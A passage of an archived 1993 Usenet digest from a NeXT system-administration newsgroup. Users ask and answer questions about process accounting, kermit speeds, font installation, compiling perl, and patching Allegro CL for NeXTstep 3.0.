>their own machines, or to have to go collect system accounting files
>from the 90-odd machines that I'm responsible for.
>
>Is something like this only a dream? (I have had 2 'me too's' for
>this so far already, so if anyone has a good answer, posting is
>OK!)
First the bad news. It's impossible to implement this centrally _only_ on
your NFS server machine because the NFS server doesn't know the difference
between "applications" and any other type of file - it just handles read
requests.
Now the good news. You can implement such a counting mechanism by
running a program on each client machine. If you like, they can all
report their results automatically back to another program running
on the server. (It would be useful if all the machines on your
network ran a standard rc script held on the server at boot time,
then you wouldn't need to bother with installing this program on
every machine).
Why do things so complicatedly ? If you can execute a command on the
remote machine from time to time (or grab one file from time to time),
why not use the OS facilities ?
Just remove the '#' in front of accton in /etc/rc (which is shipped
commented out in 2.x and 3.0). Then run 'sa' or grab /usr/adm/acct
from time to time. All information about all processes ever run is in
there. No code needed in your apps.
Carl Edman
From: isbell@cats.ucsc.edu (Art Isbell)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Configuring SUPRA Fax modem to fastest data possible
Date: 26 Apr 1993 08:25:59 GMT
Organization: Cubic Solutions - NeXT software development and consulting
Message-ID: <1rg6anINNeo@darkstar.UCSC.EDU>
References: <1ra7gjINNqit@senator-bedfellow.MIT.EDU> <tlm.735624828@scl1.al.iastate.edu>
In article <tlm.735624828@scl1.al.iastate.edu> tlm@iastate.edu (Tom Marchioro) writes:
>In <1ra7gjINNqit@senator-bedfellow.MIT.EDU> zmonster@athena.mit.edu (Eric M Hermanson) writes:
>
>>I am using kermit as the transfer protocol.
>
>And as well all know that basically explains everything!! :) :)
>Kermit is *extremely* slow, particularly if the packet size is too
>small.
If you can install kermit 5A on both ends of your communications link and run
them with at least 2 sliding windows and large packets (9K / # sliding
windows), you should see kermit stuffing compressed data through your serial
port faster than the modem can transmit it (causing hardware flow control to
limit the transfer rate).
Pre 5A kermits are indeed quite slow.
--
Art Isbell Cubic Solutions
NeXT Registered Developer #745 NeXT software development and consulting
NeXTmail: isbell@cats.UCSC.EDU Voice: (408)335-1154
USmail: 95018-9442 Fax: (408)335-2515
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Counting program launches
Date: 26 Apr 1993 11:35:20 +0100
Organization: me organized? That's a joke!
Message-ID: <1rgdt8$49j@steffi.demon.co.uk>
References: <C60E5M.9o1@ux1.cso.uiuc.edu> <1993Apr25.235929.11142@news.cs.indiana.edu>
"Steve Hayman" <sahayman@cs.indiana.edu> wrote
> main(argc, argv)
> int argc;
> char *argv[];
> {
> log_that_Foo_was_launched(); // whatever.
> execv( "/the/path/to/realVersionOfFoo", argv);
> }
>
>I did something like this for a customer that had 2 versions of a
>particular program, one that worked with an ADB keyboard, one that
>worked with the old keyboard. (The original program didn't bother to
>figure out which keyboard was in use - users were expected to run the
>appropriate version themelves. That was a pain.)
Why is this necessary?, shouldn't the original program be written such that it
does not depend on a particular keyboard? What aspects of the keyboard
are dependent? What ISV's are distributing two different versions of
their programs?
What if NeXT announced another keyboard would you have to go thru this
same process of modifying the application and creating all of the
redundancy again.
--
Real programmers don't create classes, they build heirarchies.
(me)
"If it doesn't compile and run emacs, it's not a computer."
(Erik C. Sowa)
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: List of defaults?
Date: 26 Apr 1993 18:22:19 GMT
Organization: University of Houston
Message-ID: <1rh98r$5i4@menudo.uh.edu>
Is there a list anywhere of all the various system defaults that can be set
with dread?
I.e, for Loginwindow, Workspace, System, etc...
If so, can someone send it to me?
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin
From: oblanc@colombie.univ-paris8.fr (Olivier Blanc)
Subject: System error: HELP HELP
Message-ID: <9304261811.AA14989@colombie.univ-paris8.fr>
Originator: daemon@watcgl.uwaterloo.ca
Sender: news@watcgl.uwaterloo.ca (USENET News System)
Organization: Computer Graphics Laboratory, University of Waterloo, Ontario, Canada
Date: Mon, 26 Apr 1993 18:11:04 GMT
Hi,
I have the following ereror when my NeXT Cube is booting. The error
occurs just after the inetd has been started:
ASSERT ERROR () pid:(214) (4/29 14:15) chdir failed /usr/spool/uucp (-1)
I think that it is comming from the netinfo database. Also, when I am
touching to the netinfo database (ie netinfo prg or userManager), I
have the error comming up on the console.
I tried to replace the netinfo database with an old one from a backup
but the error is still occuring.
Does anyone have the idea of what is going on??? and how to solve the
problem?
Thanks to answer to me directly, I'll do a summary of the answers.
olivier
-----------------------------------------------------------------------------
Olivier Blanc
Universite de Paris VIII- Vincennes
3, rue de la liberte
93 St Denis, France
olivier@colombie.univ-paris8.fr
oblanc@watcgl.uwaterloo.ca
Newsgroups: comp.sys.next.sysadmin
From: root@azetsys.uucp (Operator)
Subject: How to read "NewsGrazer" postings?
Hi,
Message-ID: <1993Apr26.204632.350@azetsys.uucp>
Organization: CleverLever
Date: Mon, 26 Apr 1993 20:46:32 GMT
Will someone please explain to me, how I can read "NewsGrazer"
postings, I am not on the net, get my newsfeed via uucp from uunet,
I have "NewsGrazer" and a utility to read NewsGrazer postings on one of
the CD-ROM's, but so far I was unable to make either to work, what' the
secret?
In the meanwhile imagining that all the best postings are
in NewsGrazer format, and I am left out.
Thank you in advance,
Geza.. azetsys!root@uunet.UU.NET
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From: kwang@data.acs.calpoly.edu (Kevin John Wang)
Subject: Print Quotas
Message-ID: <1993Apr26.232152.147458@zeus.calpoly.edu>
Sender: news@zeus.calpoly.edu
Organization: Cal Poly State University, San Luis Obispo
Date: Mon, 26 Apr 1993 23:21:52 GMT
I grabbed the "Quotas" disk and printing quotas utility
from sonata, and it unfortunately does NOT work with NeXT
printers! It was expecting an intelligent Postscript
printer that it could request a page count from. So my
questions stand:
1: does anyone know of a print quota paackage that works?
2: if not, is there anything that'll go through and parse
the printcap accounting files? (as to build a script
based print controller, and turn it on and off day by day as
the file quotas currently work.
3: absolute worse, how does the print information flow,
such that I might be able to insert my own filter? i.e. app
-> printcap -> lpd -> remote print machine -> printer
- Kevin Wang
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From: oblanc@watcgl.uwaterloo.ca (Olivier Blanc)
Subject: System error: Help Help
Message-ID: <C64qA0.J9w@watcgl.uwaterloo.ca>
Keywords: ASSERT ERROR
Sender: news@watcgl.uwaterloo.ca (USENET News System)
Organization: Computer Graphics Laboratory, University of Waterloo, Ontario, Canada
Date: Tue, 27 Apr 1993 06:34:48 GMT
Hi,
I have the following ereror when my NeXT Cube is booting.The error
occurs just after the inetd has been started:
ASSERT ERROR () pid:(214) (4/29 14:15) chdir failed /usr/spool/uucp (-1)
I think that it is comming from the netinfo database. Also, when I am
touching to the netinfo database (ie netinfo prg or userManager), I
have the error comming up on the console.
I tried to replace the netinfo database with an old one from a backup
but the error is still occuring.
Does anyone have the idea of what is going on??? and how to solve the
problem?
Thanks to answer to me directly, I'll do a summary of the answers.
Olivier
-------------------------------------------------------------------------------
Olivier Blanc
Universite de Paris VIII- Vincennes
3, rue de la liberte
93 St Denis, France
olivier@colombie.univ-paris8.fr
oblanc@watcgl.uwaterloo.ca
--
Olivier Blanc
Computer graphics laboratory Universite de Paris VIII- Vincennes
University of Waterloo 2, rue de la liberte
Waterloo, Ontario, Canada 93 St Denis, France
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Counting program launches
Message-ID: <1993Apr26.215932.2268@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <1rgdt8$49j@steffi.demon.co.uk>
Date: Mon, 26 Apr 1993 21:59:32 GMT
In article <1rgdt8$49j@steffi.demon.co.uk> robert@steffi.demon.co.uk
(Robert Nicholson) writes:
> >I did something like this for a customer that had 2 versions of a
> >particular program, one that worked with an ADB keyboard, one that
> >worked with the old keyboard. (The original program didn't bother to
> >figure out which keyboard was in use - users were expected to run the
> >appropriate version themelves. That was a pain.)
>
> Why is this necessary?, shouldn't the original program be written such
that it
> does not depend on a particular keyboard? What aspects of the keyboard
> are dependent? What ISV's are distributing two different versions of
> their programs?
What if they were two versions of a commercial program? Should have
learnt better the second time, but nobody's perfect.
Paul
--
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P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 paull@cix.compulink.co.uk
Fax: (0494)680228 76711.451@compuserve.com
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From: dg@synex.andi.org (David M. Gursky)
Subject: Re: install fonts
Message-ID: <C63r4B.24v@nextsrv1.andi.org>
Sender: usenet@nextsrv1.andi.org (usenet)
Organization: Association of NeXTSTEP Developers International
References: <1rcd1b$6n9@news.cerf.net>
Date: Mon, 26 Apr 1993 17:55:22 GMT
In article <1rcd1b$6n9@news.cerf.net> alexhart@cerf.net (Alex Hartley)
writes:
>
> Can someone send be a little stap-by-step method of installing more
> fonts in my machine using NS 3.0 so that the fonts all show up in the
> font panel?
1) Copy the fonts in question into one of three folders:
a) /NextLibrary/Fonts
b) /LocalLibrary/Fonts
c) ~/Library/Fonts
Since (c) would only install the fonts for a particular user, and it
is generally recommended not to install user added options into the
/Next... directories, I would recommend you use (b)
2) Rebuild (or build initially) the Adobe Font Metrics directory.
Assuming you selected /LocalLibrary/Fonts, the command line would be
buildafmdir /LocalLibrary/Fonts
Don't forget you will need write access to whichever directory you install
the fonts in.
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From: derungjj@cda.mrs.umn.edu (John DeRung)
Subject: Ghost processes
Message-ID: <C64Fzs.JK0@cda.mrs.umn.edu>
Keywords: process
Organization: University of Minnesota - Morris
Distribution: usa
Date: Tue, 27 Apr 1993 02:52:40 GMT
With in the last month or so our NeXTstation Turbo has had ghost process or
what appear to be "ghost" process created. In particular, what worries me is
the fact that they appear to be copies of the "mach-task" processes which
start a boot time. Normal 5 of these are created at boot-time and until
recently things were happy. (see below) But recently we have more and more
copies of these ghost processes. In a day we will get anywhere from 5 to 30
additional copies of these processes running. The only significant change to
the machine in the last month or so was the addition of a terminal to one of
its serial ports. I even removed this and changed the /etc/ttys back to
previous settings and rebooted. But the processes still appeared.
-1 ? ?W< 0:00 <mach-task>
-1 ? S 0:00 <mach-task>
-1 ? S 0:00 <mach-task>
-1 ? S 0:00 <mach-task>
-1 ? S < 0:00 <mach-task>
-1 ? N 0:00 <mach-task> <<<---- Ghost?
Significant facts: the machines is running NeXTstep 3.0 and sharing a disk
from another NeXTstation running NS 2.1 via NFS. All of the Netinfo data
seems to be correct and all of the mounts are unchanged since we got it working
in Oct. There are multiple people (students) who use the machine during the
day but these processes appear even when nobody is logged onto the machine and
no user processes are running. No error messages are appearing anywhere
(console.log, /usr/adm/message....). To make things even stranger, the number
of these processes does not always increase, there are times when they go down
only to be replace by additional ones.
I'd appreciate any suggetions anyone can give me.
Thanks,
John DeRung
derungjj@cda.mrs.umn.edu
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From: karthy@dannug.dk (Karsten Thygesen)
Subject: Re: Alternative to ixBuild
In-Reply-To: roberto@softDesign.COM's message of Thu, 22 Apr 1993 12:08:40 GMT
Message-ID: <KARTHY.93Apr25160914@dannug.dannug.dk>
Sender: news@dannug.dk (Usenet news owner)
Organization: Dannug - Danish NeXT Users Group
References: <1993Apr22.120840.7420@softDesign.COM>
Date: Sun, 25 Apr 1993 15:09:14 GMT
>>>>> On Thu, 22 Apr 1993 12:08:40 GMT, roberto@softDesign.COM (Roberto Arrocha) said:
Roberto> I am rebuilding the man pages directory
Roberto> (NextLibrary/Documentation/ManPages) index. In the past I've used
Roberto> ixBuild -fman -Nwhatis -Ncat\* -V
Roberto> ..but ixBuild is no longer. I tried building the index with Librarian, but
Roberto> the man pages are not properly formated.
Roberto> Can anyone suggest an alternative to build a Librarian index?
how about "ixbuild" without capital b
Karsten.
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From: tlm@iastate.edu (Tom Marchioro)
Subject: Re: Configuring SUPRA Fax modem to fastest data possible
Message-ID: <tlm.735874160@scl1.al.iastate.edu>
Sender: news@news.iastate.edu (USENET News System)
Organization: Iowa State University, Ames IA
References: <1ra7gjINNqit@senator-bedfellow.MIT.EDU> <tlm.735624828@scl1.al.iastate.edu> <1rg6anINNeo@darkstar.UCSC.EDU>
Date: Tue, 27 Apr 1993 01:29:20 GMT
In <1rg6anINNeo@darkstar.UCSC.EDU> isbell@cats.ucsc.edu (Art Isbell) writes:
>In article <tlm.735624828@scl1.al.iastate.edu> tlm@iastate.edu (Tom Marchioro) writes:
>>In <1ra7gjINNqit@senator-bedfellow.MIT.EDU> zmonster@athena.mit.edu (Eric M Hermanson) writes:
>>
>>>I am using kermit as the transfer protocol.
>>
>>And as well all know that basically explains everything!! :) :)
>>Kermit is *extremely* slow, particularly if the packet size is too
>>small.
>If you can install kermit 5A on both ends of your communications link and run
>them with at least 2 sliding windows and large packets (9K / # sliding
>windows), you should see kermit stuffing compressed data through your serial
>port faster than the modem can transmit it (causing hardware flow control to
>limit the transfer rate).
>Pre 5A kermits are indeed quite slow.
>--
Thanks for the clarification Art! (Hey, will you be at NeXTworld? Maybe
we can do a ride together :) Thanks also to Pred Bundalo who made some other
corections to my rather unspecific post. I was trying to praise SLIP as a
*general* way of interfacing your NeXT and it was wrong to imply it can
give you the best file transfers. A shas been pointed out, the best way to
do that is zmodem etc. (with all packet sizes and such properly set up).
The only versions of Kermit I ever used actively were pre 5A and those were
indeed slow, so I switched to tip, and now SLIP. The nicest thing about
SLIP is having access to all of these wonderful network related NeXT
apps.... Can't wait for the Mail.app replacement from Xexos :)
TLM
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From: stuarts@landau.ucdavis.edu (Stuart Staniford-Chen)
Subject: Irritating but intermittent network bug
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Originator: stuarts@landau.ucdavis.edu
Sender: usenet@ucdavis.edu (News Administrator)
Organization: Physics, UC Davis
Distribution: usa
Date: Tue, 27 Apr 1993 04:31:52 GMT
For a while I've been having this really irritating problem, but haven't got
around to fixing it because my computer just has fits of doing it for a few
hours at a time. Otherwise it's fine.
The problem is that the machine seems almost totally unable to reach other
machines on the network (via ping, telnet, NewsGrazer etc). If you ask to
rlogin to another machine it will be unable to connect before timing out -
usually before it even gets the name resolved, but the problem persists even
using numerical addresses. NewsGrazer will fail to find the NewServer.
However, once in a while the machine will get through to something and then
it's fine - having made a connection it will happily transfer large files
or whatever.
I have made very little progress in correlating the problem to anything.
ps -ax reveals no cpu hog type processes, and I haven't noticed an association
with any particular application. Rebooting doesn't help. Other machines on
the (heterogeneous) network are not affected. Usually the problem goes away
of its own accord after a few hours or a day. Most programs will run
absolutely fine while the problem is happening.
The only odd thing I have noticed is that if I try to do ps -u, or any ps
with the u option, it will print the header line and then sit stuck - somehow
whatever screws up the network prevents the -u option on ps from working
too. I might have several windows open at once trying to log on to various
systems and trying to do ps -aux. They will all be stuck until suddenly
all succeed at once. Then the next thing I try will not work for several
minutes. It's extremely frustrating.
So, can anyone offer any suggestions as to what could cause this? Has
anyone seen anything remotely like it?
I'm on a 68040 25MHz mono station running 2.1.
Thanks, Stuart.
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From: cowboy@trans.csuohio.edu (Joe Rosenfeld)
Subject: Re: install fonts
Message-ID: <1993Apr27.101459.26251@news.csuohio.edu>
Sender: news@news.csuohio.edu (USENET News System)
Organization: Cleveland State University
References: <C63r4B.24v@nextsrv1.andi.org>
Date: Tue, 27 Apr 1993 10:14:59 GMT
David M. Gursky (dg@synex.andi.org) wrote:
: buildafmdir /LocalLibrary/Fonts
Isn't it true that the buildafmdir with NS 3.0 is broken and you need
the copy from your 2.x system?
Just curious.
Joe
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| Joe Rosenfeld cowboy@trans.csuohio.edu
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From: vasco@bvl.pt (antonio vasconcelos)
Subject: Adding an SCSI disk drive
Message-ID: <1993Apr27.104317.18935@bvl.pt>
Organization: Bolsa de Valores de Lisboa
Date: Tue, 27 Apr 1993 10:43:17 GMT
Hello there,
I'm a very undertrained sysadmin of a NeXT Station Turbo '40
Our 400megs HD is full and it's time to add some space.
We are TRYING to buy an NeXT-Ready drive from our NeXT Supplier but no
lucky so far, we placed the invoice 3 months ago and we still don't
got it.
So, I'm ready to forguet our supplier and get an plain SCSI-2 drive,
probablly a Quantum.
So, what do I have to know ??? How do I tell NS that now there is a
disk on address X (by the way, any restriction about addresses ???)
with nn megabytes and such ???
We are running NS 2.2 but we will change to 3.0 after we have the
external disk working.
Please don't use RTF or NeXT Mail because I don't use to read
mail/news on the Next console.
Thanks in advance.
--
regards,
_____
|/asco (Antonio Vasconcelos, Lisbon Stock Exchange: vasco@bvl.pt)
From: nevai@mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: can't kermit under certain circumstances - a mistery?!?
Date: 27 Apr 1993 17:18:43 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1rjptj$1a4@mathserv.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
I am logged into my cube "ops". Everything is nifty and kermit works great.
Then I say "rsh ops" or "rlogin ops" to open up a new session. Then I can't
kermit from the new sessions! If I say "telnet ops" then kermit works fine.
What the heck is going on? Take care...Paul
Error message:
%kermit -s habos.piskota
Error opening /dev/tty
congm: No such device or address
Paul Nevai nevai@mps.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: bill@mathnx.math.byu.edu (Bill Smith)
Newsgroups: comp.sys.next.sysadmin
Subject: ftp accounting
Date: 27 Apr 1993 17:55:57 GMT
Organization: Brigham Young University
Distribution: world
Message-ID: <1rjs3d$8bh@hamblin.math.byu.edu>
We have a machine with anon-ftp on it, and I was wondering if we can
do the following:
1. set up some kind of password protection on certain files.
2. set up accounting (who ftp-login/ what they did).
-THanks, Bill
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From: "Steve Hayman" <sahayman@cs.indiana.edu>
Subject: Re: Counting program launches
Message-ID: <1993Apr27.140728.19559@news.cs.indiana.edu>
Organization: Objectario
References: <C60E5M.9o1@ux1.cso.uiuc.edu> <1993Apr25.235929.11142@news.cs.indiana.edu> <1rgdt8$49j@steffi.demon.co.uk>
Date: Tue, 27 Apr 1993 14:07:17 -0500
>> [my hack that figures out which binary to run depending on what keyboard
>> you have]
>Why is this necessary?, shouldn't the original program be written such that it
>does not depend on a particular keyboard?
In an ideal world, this hack wouldn't be necessary and all software
would be able to figure out what kind of keyboard you were using, but
in this particular case we were stuck with a commercial package that
required the user to figure out which version of the program to run.
Our users didn't want to do that. Hence the hack.
From: marsella@athos.rutgers.edu (Stacy Marsella)
Newsgroups: comp.sys.next.sysadmin
Subject: ACL for 2.0 under 3.0
Message-ID: <Apr.27.18.06.53.1993.10996@athos.rutgers.edu>
Date: 27 Apr 93 22:06:54 GMT
Organization: Rutgers Univ., New Brunswick, N.J.
Is it possible to get Franz's Allegro CL 3.1.20
for release 2.0 of the OS to work under 3.0 of the
OS? If so is there some magic to doing it.
You can't build the image under 3.0 because of a missing
lib (libdsp_s) and a 2.0 image gets an error because the minor
versions of the /usr/shlib/libNext_s... libraries don't match.
My next step is to try copying 2.0 libraries over but
I thought I would query the net first.
Thanks for any help.
S.C.M.
From: bill@ganesha.cognet.ucla.edu (William Eldridge)
Newsgroups: comp.sys.next.sysadmin,comp.lang.perl
Subject: Prob. w/ perl 4.036 on Next 3.0
Date: 27 Apr 1993 23:44:30 GMT
Organization: UCLA Cognitive Science Research Program
Message-ID: <1rkggu$evo@alamut.cognet.ucla.edu>
I'm having problems compiling perl 4.036 on a Next Turbo w/
NextStep 3.0. I'm using the hints for Next, and also
using gcc 2.3.3 (2 of the perl tests failed compiling with
cc as well, so I don't think this is the problem.)
When playing around with compile options, we did get it
to compile, but with errors in the op/groups test
(group routines not implemented at op/groups.t line 11.)
and comp/cpp (a fail on test 2 for caps).
It seems that the /usr/include files on Nexts might
be the problem, since it looks like even in the configure
step, it starts looking strange.
So if someone has some insight...
Thanks,
Bill
--
Bill Eldridge bill@cognet.ucla.edu
*** He who remembers the past is condemned to misread it. ***
- George Santana
ganesha:55# make
Expect 27 shift/reduce and 57 reduce/reduce conflicts
/usr/bin/yacc -d perly.y
conflicts: 27 shift/reduce, 57 reduce/reduce
sh ./perly.fixer y.tab.c perly.c
Patching perly.c to allow dynamic yacc stack allocation
Assuming bsd4.3 yaccpar
mv y.tab.h perly.h
echo 'extern YYSTYPE yylval;' >>perly.h
`sh cflags perly.o` perly.c
CCCMD = gcc -c -traditional -Dvolatile=__volatile__
-I/usr/include/bsd -O
In file included from /NextDeveloper/Headers/ansi/setjmp.h:4, from
perl.h:136, from perly.y:41:
/NextDeveloper/Headers/ansi/machine/setjmp.h:11: `#include' expects
"fname" or <fname>
In file included from /usr/include/bsd/sys/param.h:42, from perl.h:141,
from perly.y:41:
/usr/include/bsd/machine/machparam.h:11: `#include' expects "fname" or
<fname>
In file included from /usr/include/bsd/sys/signal.h:22, from
/usr/include/bsd/sys/param.h:100, from perl.h:141, from perly.y:41:
/usr/include/bsd/machine/signal.h:11: `#include' expects "fname" or
<fname>
In file included from /usr/include/bsd/sys/types.h:86, from
/usr/include/bsd/sys/param.h:185, from perl.h:141, from perly.y:41:
/NextDeveloper/Headers/bsd/machine/label_t.h:11: `#include' expects
"fname" or <fname>
*** Exit 1
Stop.
From: leeyn+@pitt.edu (Yongwon L Lee)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP:: lisp upgrade
Message-ID: <10210@blue.cis.pitt.edu>
Date: 28 Apr 93 03:48:06 GMT
Sender: news+@pitt.edu
Organization: University of Pittsburgh
Originator: leeyn@unixd3.cis.pitt.edu
I am trying to upgrade 1.0 to 3.0. (I have 68030 cube)
Step 3.0 does not come with Allegro lisp. Is there a way to
upgrade lisp in system software 1.0 for step 3.0 ?
Have anyone done this ? Could anyone give me some information
about how to upgrade lisp for step 3.0 ?
Please email to yongwon@cs.pitt.edu. Thank you.
Y. Lee
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Subject: Survey Pros & Cons OOP
Message-ID: <1993Apr28.002754.3363@msus1.msus.edu>
From: rustad@mhd.moorhead.msus.edu
Date: 28 Apr 93 00:27:54 -0600
Organization: Moorhead State University, Moorhead, MN
Object-Oriented Programming Survey
This survey is a meant to find the current relationship between
programmers and Object-Oriented Programming. Please return this survey
before May 5, 1993. Return to rustad@mhd.moorhead.msus.edu
Would you like a copy of the published statistics? (yes/no) _______
Your Occupation:
__________________________________________________________________________
Years of Programming Experience:
__________________________________
Programming Languages you're associated with:
__________________________________________________________________________
Years of OOP experience:
__________________________________
Your preferred OOP language:
__________________________________________________________________________
Is there an advantage to OOP (yes/no) _________
Is OOP coding faster than traditional programming (yes/no) _________
Is OOP maintenance quicker and easier than traditional (yes/no or opinion):
__________________________________________________________________________
Comments: (pros & cons with Object-Oriented Programming)
From: slv0y@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: "Share"ing a file with a Mac via Appletalk
Message-ID: <1993Apr27.145001.66846@cc.usu.edu>
Date: 27 Apr 93 14:50:01 MDT
Organization: Utah State University
My NeXT machines can see my Mac via Appletalk just fine. (I'm using 3.0) What
I want to know is if there is any way to "share" a directory on a NeXT machine
with the Mac so that the Mac can log into the NeXT and get at a file?
Thanks,
John Z.
slv0y@cc.usu.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin
From: aru@sonata.cc.purdue.edu (Sri Ramkrishna)
Subject: Replacing NeXT UNIX with GNU
Message-ID: <C66JB1.H20@mentor.cc.purdue.edu>
Sender: news@mentor.cc.purdue.edu (USENET News)
Organization: Purdue University
Date: Wed, 28 Apr 1993 05:59:25 GMT
I'm interested in hearing about folks who have replaced the majority
of there NeXT UNIX programs with GNU ones. The more I use the the
NeXT supplied UNIX programs, the more I find that I want to use the
GNU ones. Almost everything is provided by GNU already. Compilers,
make, file utilities, editors, etc. I'm curious as to how far one can
go to, or in other words, if I were to complete replace /bin,
/usr/bin, /usr/ucb, and however many other directories with the GNU
counterparts, what programs would I have to *definitely* use the NeXT
ones. I'm pretty sure I have to use NeXT make, but is that it?
On a similar, but more theorectical note, does anybody have a clue as
how feasible it would be to complete replace NeXT's BSD UNIX with GNU?
I for one would definitely love to see GNU as the standard UNIX guts
that NeXT uses. Every GNU program I've ever seen has always been
superior to it's BSD/SysV counterpart, more features, better speed,
etc. Would it not make a LOT of sense to dump the OLD, EXPENSIVE,
BUGGY BSD stuff and switch over to *FREE* GNU? My only concern would
be if the GNU license stuff would prohibit me from making insanely
great NeXTSTEP programs which I could copyright.
Any thoughts?
-dsm
--
Posted by a friend.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: gemoe@proximus.north.de (Gerhard Moeller)
Subject: unistd.h
Sender: gemoe@proximus.north.de
Organization: Gerhard Moeller, German NeXT User Group, Oldenburg.
Date: Tue, 27 Apr 1993 21:24:36 GMT
Message-ID: <1993Apr27.212436.3532@proximus.north.de>
HELP!
I try to compile tulp (Unix listserv) - but it needs the include file
<unistd.h>
* What does this file define???
* Is there a replacement???
(Did anyone compile tulp before?)
Thanks, gerhard.
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+---------------------------< principiis obsta! >---------------------------+
N Gerhard Moeller, Teichstrasse 12, 2900 Oldenburg (FRG) [*: 02/21/1968] N
e Private: gemoe@proximus.north.de Phone (voice): +49-441-75520 e
X Uni: Gerhard.Moeller@arbi.Informatik.Uni-Oldenburg.DE NeXTmail X
T Z-Net: Gerhard.Moeller@uniol.zer encouraged! T
+-> NoGeNUG - Northern German NeXT User Group: NoGeNUG@proximus.north.DE <-+
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From: gemoe@proximus.north.de (Gerhard Moeller)
Subject: tulp - the UNIX listserv
Sender: gemoe@proximus.north.de
Organization: Gerhard Moeller, German NeXT User Group, Oldenburg.
Date: Tue, 27 Apr 1993 21:26:54 GMT
Message-ID: <1993Apr27.212654.3639@proximus.north.de>
HELP!
I try desperately to compile tulp Version 3.0.3 (a Unix port of the BITNET
listserv) -- without any success. (<unistd.h> is missing)
* Did anyone out there compile tulp already on a NeXT?
* Does anyone have another (good) listserver???
Thank you, Gerhard.
--
+---------------------------< principiis obsta! >---------------------------+
N Gerhard Moeller, Teichstrasse 12, 2900 Oldenburg (FRG) [*: 02/21/1968] N
e Private: gemoe@proximus.north.de Phone (voice): +49-441-75520 e
X Uni: Gerhard.Moeller@arbi.Informatik.Uni-Oldenburg.DE NeXTmail X
T Z-Net: Gerhard.Moeller@uniol.zer encouraged! T
+-> NoGeNUG - Northern German NeXT User Group: NoGeNUG@proximus.north.DE <-+
Newsgroups: comp.sys.next.sysadmin
From: bvrotney@ADS.COM (Bill Vrotney)
Subject: Re: ACL for 2.0 under 3.0
In-Reply-To: marsella@athos.rutgers.edu's message of 27 Apr 93 22:06:54 GMT
Message-ID: <1993Apr28.081243.5500@ads.com>
Sender: usenet@ads.com (USENET News)
Organization: Advanced Decision Systems, Mtn. View, CA (415) 960-7300
References: <Apr.27.18.06.53.1993.10996@athos.rutgers.edu>
Date: Wed, 28 Apr 1993 08:12:43 GMT
In article <Apr.27.18.06.53.1993.10996@athos.rutgers.edu> marsella@athos.rutgers.edu (Stacy Marsella) writes:
Path: ads.com!decwrl!decwrl!sdd.hp.com!zaphod.mps.ohio-state.edu!howland.reston.ans.net!gatech!rutgers!igor.rutgers.edu!athos.rutgers.edu!marsella
From: marsella@athos.rutgers.edu (Stacy Marsella)
Newsgroups: comp.sys.next.sysadmin
Date: 27 Apr 93 22:06:54 GMT
Organization: Rutgers Univ., New Brunswick, N.J.
Lines: 11
Is it possible to get Franz's Allegro CL 3.1.20
for release 2.0 of the OS to work under 3.0 of the
OS? If so is there some magic to doing it.
...
This is starting to be a FAQ.
=============================================================================
The following is a procedure for fixing Allegro CL 3.1.20 so that it works
under NeXTstep 3.0. You should find all of the files mentioned here on your
ACL distribution. We refer to the top level directory of this distribution
as ACL and the build directory ACL/build.
Note: You may need to remove the dsp library references below to get
it to compile.
Warning!!! (from Franz) This procedure results in creating a new ucl.o
binary file. You may distribute this method but not the resulting ucl.o
file.
1. First look at the byte size of the file ACL/build/ucl.o, if the size
is 612364 bytes then skip to step 2. Otherwise look at the file
ACL/dumplispPatch. This is a shell archive that will patch ucl.o with
the "dump lisp" patch. More precisely
cd ACL
cp dumplispPatch build
cd build
/bin/sh dumplispPatch
/bin/sh install_patch.sh
Now ucl.o should be 612364 bytes long. (the original ucl.o will be
saved in a file called ucl_orig.o).
2. Next edit the file ACL/build/config (you mihgt want to save the orginal
config file). In that file you will see two statements:
LIBRARIES = -lNeXT_s -ldsp_s -lsys_s
USYMS = -u libsys_s -u libNeXT_s -u libdsp_s
In the LIBRARIES statement, change -ldsp_s to -ldsp
In the USYMS statement, delete the -u libdsp_s
3. Next you edit the new binary file ACL/build/ucl.o in emacs and
save the results. Go to ACL/build directory, run emacs and
find-file ucl.o
replace-string _rld _jld
replace-string __bcopy _bcopy^@
save-buffer
The ^@ above is the null character (000 byte) and can be
entered in emacs using
C-q C-<space>
and will look in an emacs buffer as a single character ^@
and NOT two characters.
4. Finally then reinstall ACL as usual. You do this by going to the
ACL/build directory and
/bin/sh config
=============================================================================
--
Bill Vrotney
BAH/Advanced Decision Systems
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From: david@postman.gr.osf.org (David George)
Subject: Re: Replacing NeXT UNIX with GNU
Message-ID: <1993Apr28.083355.15189@osf.org>
Sender: news@osf.org (USENET News System)
Organization: OSF RI Grenoble
References: <C66JB1.H20@mentor.cc.purdue.edu>
Date: Wed, 28 Apr 1993 08:33:55 GMT
In article <C66JB1.H20@mentor.cc.purdue.edu>, aru@sonata.cc.purdue.edu (Sri Ramkrishna) writes:
|>
|> On a similar, but more theorectical note, does anybody have a clue as
|> how feasible it would be to complete replace NeXT's BSD UNIX with GNU?
|> My only concern would
|> be if the GNU license stuff would prohibit me from making insanely
|> great NeXTSTEP programs which I could copyright.
|>
|> Any thoughts?
Yeah - take a holiday. What are you going to do for an OS ? GNU doesn't have
